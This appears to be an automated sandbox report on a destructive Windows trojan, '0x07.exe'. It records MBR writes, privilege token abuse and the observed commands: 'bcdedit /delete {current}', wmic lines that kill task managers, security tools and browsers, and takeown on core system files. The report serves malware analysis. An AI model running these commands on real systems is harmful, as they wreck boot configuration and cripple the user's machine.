Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240611-en

Max time kernel

97s

Max time network

21s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

Signatures

Possible privilege escalation attempt

exploit

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\Temp\winconfig.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\DetectKey.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	N/A

Modifies file permissions

discovery

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\icacls.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A
N/A	N/A	C:\Windows\system32\takeown.exe	N/A

File and Directory Permissions Modification: Windows File and Directory Permissions Modification

defense_evasion

Modifies boot configuration data using bcdedit

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\bcdedit.exe	N/A

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	N/A

Enumerates physical storage devices

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\DetectKey.exe	N/A

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\System32\Wbem\WMIC.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2940 wrote to memory of 2700	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	C:\Windows\Temp\winconfig.exe
PID 2940 wrote to memory of 2700	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	C:\Windows\Temp\winconfig.exe
PID 2940 wrote to memory of 2700	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	C:\Windows\Temp\winconfig.exe
PID 2940 wrote to memory of 2700	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe	C:\Windows\Temp\winconfig.exe
PID 2700 wrote to memory of 2956	N/A	C:\Windows\Temp\winconfig.exe	C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2956	N/A	C:\Windows\Temp\winconfig.exe	C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2956	N/A	C:\Windows\Temp\winconfig.exe	C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2956	N/A	C:\Windows\Temp\winconfig.exe	C:\Windows\system32\cmd.exe
PID 2956 wrote to memory of 2608	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2956 wrote to memory of 2608	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2956 wrote to memory of 2608	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2956 wrote to memory of 2608	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2956 wrote to memory of 624	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\bcdedit.exe
PID 2956 wrote to memory of 624	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\bcdedit.exe
PID 2956 wrote to memory of 624	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\bcdedit.exe
PID 2956 wrote to memory of 2920	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2920	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2920	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2496	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2496	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2496	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2568	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2568	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2568	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 3032	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 3032	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 3032	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 520	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 520	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 520	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 432	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 432	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 432	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1428	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1428	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1428	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1528	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1528	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1528	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2832	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2832	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2832	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2900	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2900	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2900	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2828	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2828	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2828	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 924	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 924	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 924	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1128	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1128	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1128	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2800	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2800	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2800	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1992	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1992	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 1992	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 932	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 932	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 932	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe
PID 2956 wrote to memory of 2860	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

C:\Windows\Temp\winconfig.exe

"C:\Windows\Temp\winconfig.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\AB4D.tmp\AB4E.tmp\AB4F.bat C:\Windows\Temp\winconfig.exe"

C:\Users\Admin\AppData\Roaming\DetectKey.exe

"C:\Users\Admin\AppData\Roaming\DetectKey.exe"

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='mmc.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='PartAssist.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='control.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager Protable.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='CCleaner.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64a.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='regedit.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='iexplore.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='chrome.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='firefox.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='opera.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='edge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='msedge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='brave.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='wmplayer.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad++.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskmgr.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\hal.dll"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\winload.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\ntoskrnl.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\perfmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\resmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskkill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tasklist.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tskill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Program Files\Process Hacker 2"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\System32\drivers"

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

